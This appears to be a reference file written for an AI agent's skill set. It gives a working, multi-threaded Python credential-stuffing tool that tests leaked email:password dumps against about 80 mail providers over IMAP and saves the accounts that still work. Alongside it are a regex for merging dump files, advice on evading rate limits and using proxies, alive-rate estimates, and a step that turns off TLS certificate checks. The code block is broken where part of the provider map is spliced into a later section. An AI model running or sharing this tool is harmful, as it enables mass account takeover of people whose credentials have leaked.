Files
autoreg-skills-max/skills/email-infrastructure/references/bulk-imap-checker.md

157 lines
7.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bulk IMAP Combo Checker
Mass validation of email:password credential dumps via multi-threaded IMAP. Use when user has dump files with email:password pairs and wants to find which ones are still alive.
## Quick Start
```python
#!/usr/bin/env python3
"""Mass IMAP checker — 200 threads, 5s timeout, file-based progress"""
import imaplib, socket, time, sys
from concurrent.futures import ThreadPoolExecutor, as_completed
INPUT = "merged_all.txt"
OUTPUT = "working.txt"
THREADS = 200
TIMEOUT = 5
IMAP_MAP = {
'gmail.com': 'imap.gmail.com', 'googlemail.com': 'imap.gmail.com',
'hotmail.com': 'outlook.office365.com', 'outlook.com': 'outlook.office365.com',
'hotmail.fr': 'outlook.office365.com', 'hotmail.co.uk': 'outlook.office365.com',
'hotmail.de': 'outlook.office365.com', 'hotmail.es': 'outlook.office365.com',
'hotmail.it': 'outlook.office365.com', 'hotmail.co.jp': 'outlook.office365.com',
'live.com': 'outlook.office365.com', 'live.fr': 'outlook.office365.com',
'msn.com': 'outlook.office365.com',
'yahoo.com': 'imap.mail.yahoo.com', 'yahoo.fr': 'imap.mail.yahoo.com',
'yahoo.co.uk': 'imap.mail.yahoo.com', 'yahoo.de': 'imap.mail.yahoo.com',
'yahoo.co.jp': 'imap.mail.yahoo.com', 'ymail.com': 'imap.mail.yahoo.com',
'aol.com': 'imap.aol.com',
'mail.ru': 'imap.mail.ru', 'bk.ru': 'imap.mail.ru', 'inbox.ru': 'imap.mail.ru',
'yandex.ru': 'imap.yandex.ru', 'ya.ru': 'imap.yandex.ru',
'rambler.ru': 'imap.rambler.ru', 'myrambler.ru': 'imap.rambler.ru',
'icloud.com': 'imap.mail.me.com', 'me.com': 'imap.mail.me.com',
'qq.com': 'imap.qq.com', '163.com': 'imap.163.com', '126.com': 'imap.126.com',
'naver.com': 'imap.naver.com', 'nate.com': 'imap.nate.com',
't-online.de': 'imap.t-online.de', # ⚠️ используй `imap.t-online.de`, НЕ `secureimap.t-online.de` (legacy — часто недоступен)
```
## Non-Gmail SSL — custom context обязателен
Для t-online.de, web.de, gmx.de и многих других не-Gmail провайдеров стандартный `imaplib.IMAP4_SSL(host)` **выбрасывает SSLCertVerificationError**.
Фикс — кастомный SSL контекст:
```python
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Вместо:
# imap = imaplib.IMAP4_SSL(host)
# Использовать:
imap = imaplib.IMAP4_SSL(host, 993, ssl_context=ctx)
```
Без этого IMAP_MAP бесполезен для провайдеров с самоподписанными/нестандартными сертификатами.
'web.de': 'imap.web.de', 'gmx.de': 'imap.gmx.net', 'gmx.net': 'imap.gmx.net',
'freenet.de': 'imap.freenet.de',
'free.fr': 'imap.free.fr', 'orange.fr': 'imap.orange.fr',
'wanadoo.fr': 'imap.orange.fr', 'sfr.fr': 'imap.sfr.fr',
'libero.it': 'imap.libero.it', 'wp.pl': 'imap.wp.pl',
'abv.bg': 'imap.abv.bg',
'att.net': 'imap.att.net', 'sbcglobal.net': 'imap.att.net',
'comcast.net': 'imap.comcast.net', 'verizon.net': 'imap.verizon.net',
'cox.net': 'imap.cox.net',
}
def check(args):
email, pwd, host = args
try:
socket.setdefaulttimeout(TIMEOUT)
imap = imaplib.IMAP4_SSL(host)
st, _ = imap.login(email, pwd)
imap.logout()
return (email, pwd) if st == 'OK' else None
except:
return None
# Load accounts with pre-resolved IMAP hosts
accounts = []
with open(INPUT, 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if not line or line.startswith('#') or ':' not in line or '@' not in line:
continue
email = line.split(':')[0].strip().lower()
pwd = [REDACTED]':', 1)[1].strip()
domain = email.split('@')[1] if '@' in email else ''
host = IMAP_MAP.get(domain)
if host:
accounts.append((email, pwd, host))
# Check in parallel
working = []
start = time.time()
with ThreadPoolExecutor(max_workers=THREADS) as pool:
futures = {pool.submit(check, a): a for a in accounts}
done = 0
for f in as_completed(futures):
done += 1
r = f.result()
if r:
working.append(r)
with open(OUTPUT, 'a') as f_out:
f_out.write(f"{r[0]}:{r[1]}\n")
if done % 1000 == 0:
elapsed = time.time() - start
print(f"[{done}/{len(accounts)}] OK:{len(working)} ({done/elapsed:.0f}/s)", flush=True)
print(f"Done: {len(working)} working out of {len(accounts)}")
```
## File Format Support
The merger handles these common dump formats:
| Format | Example | Separator |
|--------|---------|-----------|
| Standard | `[REDACTED-EMAIL]:[REDACTED] | `:` |
| Semicolon | `email@gmail.com;password123` | `;` |
| Quoted extra | `"[REDACTED-EMAIL]:[REDACTED]:extra"` | `:` with extra field |
| Windows CRLF | `[REDACTED-EMAIL]:[REDACTED] | `:` + `\r\n` |
### Merger regex
```python
import re
# Handles all three formats in one pass
m = re.match(r'["\']?\s*([^"\':\s]+@[^"\':\s]+)\s*[:;]\s*([^",;\s]+)', line)
if m:
email = m.group(1).strip('"\' ')
password = [REDACTED]).strip('"\' ')
```
## Pitfalls
1. **Python stdout buffering in background processes** — `python -u` flag + `sys.stdout.reconfigure(line_buffering=True)` is NOT enough. Hermes background processes may not capture stdout at all. Use FILE-BASED progress tracking: write progress to a JSON or log file, read it with `read_file()`.
2. **ThreadPoolExecutor memory with 500k+ accounts** — Submitting 500k futures at once can OOM. Process in CHUNKS of 5,000-10,000.
3. **Old combos have near-zero hit rate** — Data from 2024 typically has 0-3% alive rate. A 0% hit rate on 5,000 checks is expected for old dumps. Don't assume the checker is broken — the data is just dead.
4. **Missing IMAP servers for obscure domains** — The IMAP_MAP covers ~80 major providers. For domains not in the map, the account is skipped. Unknown domains (e.g., `@stalkermail.one`, `@ap-student.org`) should be skipped silently — there's no reliable way to discover IMAP servers for arbitrary domains.
5. **Direct IMAP works; SOCKS5 proxies are unreliable** — Gmail/Outlook/Yahoo allow direct IMAP connections from home IPs. SOCKS5 proxies often fail with TLS (invalid SOCKS5 response, connection refused). Only use proxies if you're getting rate-limited.
6. **Rate limiting** — Gmail allows ~15 IMAP connections per account per 15 minutes. Outlook/Yahoo more lenient. With 200 threads checking DIFFERENT accounts, you're hitting the IMAP server, not the account limit. So 200 threads is fine as long as they're all different accounts.
7. **Deduplication strategy** — When merging multiple dump files with the same email appearing multiple times with different passwords, keep the SHORTEST password (fewest artifacts). If passwords are identical, deduplicate by email.
## Expected Throughput
- 200 threads × 5s timeout ≈ 40 checks/second
- 500,000 accounts ≈ 3.5 hours
- For 2024-era dumps: expect 0-3% alive rate
- For 2025-2026 dumps: expect 5-15% alive rate